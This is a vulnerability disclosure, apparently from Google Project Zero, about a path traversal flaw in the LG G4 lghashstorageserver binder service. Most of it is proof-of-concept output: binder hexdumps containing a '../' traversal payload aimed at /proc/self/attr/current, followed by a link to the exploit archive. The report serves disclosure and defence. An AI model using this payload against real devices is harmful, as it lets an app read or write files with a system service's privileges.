Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=987
The lghashstorageserver binder service (/system/bin/lghashstorageserver)
implementation on the LG G4 is vulnerable to path traversal, allowing an
app to read and write 0x20 bytes from any file in the context of the
lghashstorageserver.
See attached for a PoC which reads from /proc/self/attr/current for the
lghashstorageserver.
[0] opening /dev/binder
[0] looking up service lghashstorage
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0d . 00 . 00 . 00 . 6c l 00 . 67 g 00 . 68 h 00 . 61 a 00 . 73 s 00 . 68 h 00 .
0080: 73 s 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 24 offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
- type 73682a85 flags 0000017f ptr 0000005500000001 cookie 0000000000000000
[0] got handle 00000001
[0] reading hash
0000: 00 . 01 . 00 . 00 . 1b . 00 . 00 . 00 . 63 c 00 . 6f o 00 . 6d m 00 . 2e . 00 .
0016: 6c l 00 . 67 g 00 . 65 e 00 . 2e . 00 . 49 I 00 . 48 H 00 . 61 a 00 . 73 s 00 .
0032: 68 h 00 . 53 S 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 .
0048: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
0064: 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e .
0080: 2e . 2f / 2e . 2e . 2f / 70 p 72 r 6f o 63 c 2f / 73 s 65 e 6c l 66 f 2f / 61 a
0096: 74 t 74 t 72 r 2f / 63 c 75 u 72 r 72 r 65 e 6e n 74 t 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 36 offs 0
0000: 75 u 3a : 72 r 3a : 6c l 67 g 68 h 61 a 73 s 68 h 73 s 74 t 6f o 72 r 61 a 67 g
0016: 65 e 73 s 65 e 72 r 76 v 65 e 72 r 3a : 73 s 30 0 00 . 00 . 00 . 00 . 00 . 00 .
0032: 00 . 00 . 00 . 00 .
u:r:lghashstorageserver:s0
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41352.zip
